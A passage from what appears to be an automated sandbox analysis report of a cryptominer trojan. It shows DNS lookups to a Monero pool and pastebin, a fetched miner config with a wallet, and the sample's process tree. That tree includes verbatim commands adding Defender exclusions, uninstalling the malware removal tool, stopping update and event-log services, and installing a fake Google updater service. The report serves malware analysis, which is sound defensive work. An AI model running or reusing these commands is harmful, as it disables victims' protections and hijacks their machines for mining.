                                                                      Oct 27, 2024 18:38:36.053983927 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:38:36.102976084 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:38:40.521090984 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:38:40.691860914 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:38:50.520111084 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:38:50.566945076 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:39:00.433459997 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:39:00.488790035 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:39:10.537791014 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:39:10.582901001 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:39:20.616705894 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:39:20.676812887 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:39:30.638392925 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:39:30.692203999 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:39:41.603806019 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:39:41.645180941 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:40:02.109477997 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:40:02.161123037 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:40:12.143836975 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:40:12.192157030 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:40:22.147964001 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:40:22.207672119 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:40:32.130053043 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:40:32.176441908 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:40:45.161647081 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:40:45.207761049 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:40:55.147797108 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:40:55.192291975 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:41:05.200032949 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:41:05.254585028 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:41:15.170387983 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:41:15.223418951 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:41:25.220628023 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:41:25.270385981 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:41:35.322622061 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:41:35.364037037 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:41:45.168117046 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:41:45.223443031 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:41:55.265736103 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:41:55.317190886 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:42:22.262274981 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:42:22.317323923 CET4980410343192.168.2.1051.89.23.91

                                                                      UDP Packets

                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                      Oct 27, 2024 18:38:32.415003061 CET5852753192.168.2.101.1.1.1
                                                                      Oct 27, 2024 18:38:32.423281908 CET53585271.1.1.1192.168.2.10
                                                                      Oct 27, 2024 18:38:33.498445034 CET5239353192.168.2.101.1.1.1
                                                                      Oct 27, 2024 18:38:33.656609058 CET53523931.1.1.1192.168.2.10

                                                                      DNS Queries

                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                      Oct 27, 2024 18:38:32.415003061 CET192.168.2.101.1.1.10x575eStandard query (0)xmr-eu1.nanopool.orgA (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:33.498445034 CET192.168.2.101.1.1.10xcb6Standard query (0)pastebin.comA (IP address)IN (0x0001)false

                                                                      DNS Answers

                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                      Oct 27, 2024 18:38:15.162760019 CET1.1.1.1192.168.2.100xb42aNo error (0)shed.dual-low.s-part-0039.t-0009.t-msedge.nets-part-0039.t-0009.t-msedge.netCNAME (Canonical name)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:15.162760019 CET1.1.1.1192.168.2.100xb42aNo error (0)s-part-0039.t-0009.t-msedge.net13.107.246.67A (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:32.423281908 CET1.1.1.1192.168.2.100x575eNo error (0)xmr-eu1.nanopool.org141.94.23.83A (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:32.423281908 CET1.1.1.1192.168.2.100x575eNo error (0)xmr-eu1.nanopool.org51.15.193.130A (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:32.423281908 CET1.1.1.1192.168.2.100x575eNo error (0)xmr-eu1.nanopool.org146.59.154.106A (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:32.423281908 CET1.1.1.1192.168.2.100x575eNo error (0)xmr-eu1.nanopool.org54.37.232.103A (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:32.423281908 CET1.1.1.1192.168.2.100x575eNo error (0)xmr-eu1.nanopool.org212.47.253.124A (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:32.423281908 CET1.1.1.1192.168.2.100x575eNo error (0)xmr-eu1.nanopool.org51.15.65.182A (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:32.423281908 CET1.1.1.1192.168.2.100x575eNo error (0)xmr-eu1.nanopool.org54.37.137.114A (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:32.423281908 CET1.1.1.1192.168.2.100x575eNo error (0)xmr-eu1.nanopool.org51.15.58.224A (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:32.423281908 CET1.1.1.1192.168.2.100x575eNo error (0)xmr-eu1.nanopool.org162.19.224.121A (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:32.423281908 CET1.1.1.1192.168.2.100x575eNo error (0)xmr-eu1.nanopool.org51.89.23.91A (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:32.423281908 CET1.1.1.1192.168.2.100x575eNo error (0)xmr-eu1.nanopool.org163.172.154.142A (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:33.656609058 CET1.1.1.1192.168.2.100xcb6No error (0)pastebin.com104.20.4.235A (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:33.656609058 CET1.1.1.1192.168.2.100xcb6No error (0)pastebin.com172.67.19.24A (IP address)IN (0x0001)false
                                                                      Oct 27, 2024 18:38:33.656609058 CET1.1.1.1192.168.2.100xcb6No error (0)pastebin.com104.20.3.235A (IP address)IN (0x0001)false

                                                                      HTTP Request Dependency Graph

                                                                      • pastebin.com

                                                                      HTTPS Proxied Packets

                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      0192.168.2.1049793104.20.4.2354437744C:\Windows\explorer.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      2024-10-27 17:38:34 UTC114OUTGET /raw/VMnMCaJF HTTP/1.1
                                                                      Accept: */*
                                                                      Connection: close
                                                                      Host: pastebin.com
                                                                      User-Agent: cpp-httplib/0.12.6
                                                                      2024-10-27 17:38:34 UTC391INHTTP/1.1 200 OK
                                                                      Date: Sun, 27 Oct 2024 17:38:34 GMT
                                                                      Content-Type: text/plain; charset=utf-8
                                                                      Transfer-Encoding: chunked
                                                                      Connection: close
                                                                      x-frame-options: DENY
                                                                      x-content-type-options: nosniff
                                                                      x-xss-protection: 1;mode=block
                                                                      cache-control: public, max-age=1801
                                                                      CF-Cache-Status: EXPIRED
                                                                      Last-Modified: Sun, 27 Oct 2024 17:38:34 GMT
                                                                      Server: cloudflare
                                                                      CF-RAY: 8d9475e4bdc52c8d-DFW
                                                                      2024-10-27 17:38:34 UTC438INData Raw: 31 61 66 0d 0a 7b 0d 0a 22 61 6c 67 6f 22 3a 20 22 72 78 2f 30 22 2c 0d 0a 22 70 6f 6f 6c 22 3a 20 22 78 6d 72 2d 65 75 31 2e 6e 61 6e 6f 70 6f 6f 6c 2e 6f 72 67 22 2c 0d 0a 22 70 6f 72 74 22 3a 20 31 30 33 34 33 2c 0d 0a 22 77 61 6c 6c 65 74 22 3a 20 22 34 34 73 5a 66 69 37 54 75 64 51 44 41 7a 4b 63 6d 46 48 63 6f 59 38 6a 42 5a 62 59 62 53 41 4b 58 4c 64 45 74 50 41 6a 63 43 57 6a 56 67 34 46 76 78 35 53 57 4a 4d 67 59 67 69 62 77 4c 67 42 57 54 58 55 47 59 52 59 36 76 78 57 52 58 6b 66 39 34 48 54 55 61 4a 72 38 48 56 69 43 53 78 2e 73 70 61 69 6e 22 2c 0d 0a 22 70 61 73 73 77 6f 72 64 22 3a 20 22 22 2c 0d 0a 22 6e 69 63 65 68 61 73 68 22 3a 20 66 61 6c 73 65 2c 0d 0a 22 73 73 6c 74 6c 73 22 3a 20 74 72 75 65 2c 0d 0a 22 6d 61 78 2d 63 70 75 22 3a 20
                                                                      Data Ascii: 1af{"algo": "rx/0","pool": "xmr-eu1.nanopool.org","port": 10343,"wallet": "44sZfi7TudQDAzKcmFHcoY8jBZbYbSAKXLdEtPAjcCWjVg4Fvx5SWJMgYgibwLgBWTXUGYRY6vxWRXkf94HTUaJr8HViCSx.spain","password": "","nicehash": false,"ssltls": true,"max-cpu":
                                                                      2024-10-27 17:38:34 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                      Data Ascii: 0


                                                                      Statistics

                                                                      CPU Usage

                                                                      Click to jump to process

                                                                      Memory Usage

                                                                      Click to jump to process

                                                                      High Level Behavior Distribution

                                                                      Click to dive into process behavior distribution

                                                                      Behavior

                                                                      Click to jump to process

                                                                      System Behavior

                                                                      General

                                                                      Target ID:0
                                                                      Start time:13:38:21
                                                                      Start date:27/10/2024
                                                                      Path:C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe"
                                                                      Imagebase:0x7ff776920000
                                                                      File size:6'031'872 bytes
                                                                      MD5 hash:C441BE4F7FD0F07FDCF94657C624C3DA
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:low
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:2
                                                                      Start time:13:38:22
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                      Imagebase:0x7ff7b2bb0000
                                                                      File size:452'608 bytes
                                                                      MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:high
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:3
                                                                      Start time:13:38:22
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:high
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:5
                                                                      Start time:13:38:26
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\cmd.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                      Imagebase:0x7ff762bd0000
                                                                      File size:289'792 bytes
                                                                      MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:high
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:6
                                                                      Start time:13:38:26
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\sc.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\sc.exe stop UsoSvc
                                                                      Imagebase:0x7ff763b60000
                                                                      File size:72'192 bytes
                                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:moderate
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:7
                                                                      Start time:13:38:26
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:high
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:8
                                                                      Start time:13:38:26
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:high
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:9
                                                                      Start time:13:38:26
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\sc.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                      Imagebase:0x7ff763b60000
                                                                      File size:72'192 bytes
                                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:moderate
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:10
                                                                      Start time:13:38:26
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\wusa.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                                                      Imagebase:0x7ff7f7de0000
                                                                      File size:345'088 bytes
                                                                      MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:moderate
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:11
                                                                      Start time:13:38:26
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:high
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:12
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\sc.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\sc.exe stop wuauserv
                                                                      Imagebase:0x7ff763b60000
                                                                      File size:72'192 bytes
                                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:moderate
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:13
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:high
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:14
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\sc.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\sc.exe stop bits
                                                                      Imagebase:0x7ff763b60000
                                                                      File size:72'192 bytes
                                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:15
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:16
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\sc.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\sc.exe stop dosvc
                                                                      Imagebase:0x7ff763b60000
                                                                      File size:72'192 bytes
                                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:17
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:18
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\powercfg.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                      Imagebase:0x7ff77a300000
                                                                      File size:96'256 bytes
                                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:19
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\powercfg.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                      Imagebase:0x7ff77a300000
                                                                      File size:96'256 bytes
                                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:20
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:21
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\powercfg.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                      Imagebase:0x7ff77a300000
                                                                      File size:96'256 bytes
                                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:22
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:23
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\powercfg.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                      Imagebase:0x7ff77a300000
                                                                      File size:96'256 bytes
                                                                      MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:24
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:25
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:26
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\sc.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"
                                                                      Imagebase:0x7ff763b60000
                                                                      File size:72'192 bytes
                                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:27
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:28
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\sc.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"
                                                                      Imagebase:0x7ff763b60000
                                                                      File size:72'192 bytes
                                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:29
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:30
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\sc.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\sc.exe stop eventlog
                                                                      Imagebase:0x7ff763b60000
                                                                      File size:72'192 bytes
                                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:31
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\sc.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"
                                                                      Imagebase:0x7ff763b60000
                                                                      File size:72'192 bytes
                                                                      MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:32
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:33
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      Imagebase:0x7ff620390000
                                                                      File size:862'208 bytes
                                                                      MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:34
                                                                      Start time:13:38:27
                                                                      Start date:27/10/2024
                                                                      Path:C:\ProgramData\GoogleUP\Chrome\Updater.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\ProgramData\GoogleUP\Chrome\Updater.exe
                                                                      Imagebase:0x7ff6152a0000
                                                                      File size:6'031'872 bytes
                                                                      MD5 hash:C441BE4F7FD0F07FDCF94657C624C3DA
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Antivirus matches:
                                                                      • Detection: 100%, Avira
                                                                      • Detection: 61%, ReversingLabs
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:35
                                                                      Start time:13:38:28
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                      Imagebase:0x7ff7b2bb0000
                                                                      File size:452'608 bytes
                                                                      MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Has exited:true

                                                                      General

                                                                      Target ID:36
                                                                      Start time:13:38:28
                                                                      Start date:27/10/2024
                                                                      Path:C:\Windows\System32\conhost.exe
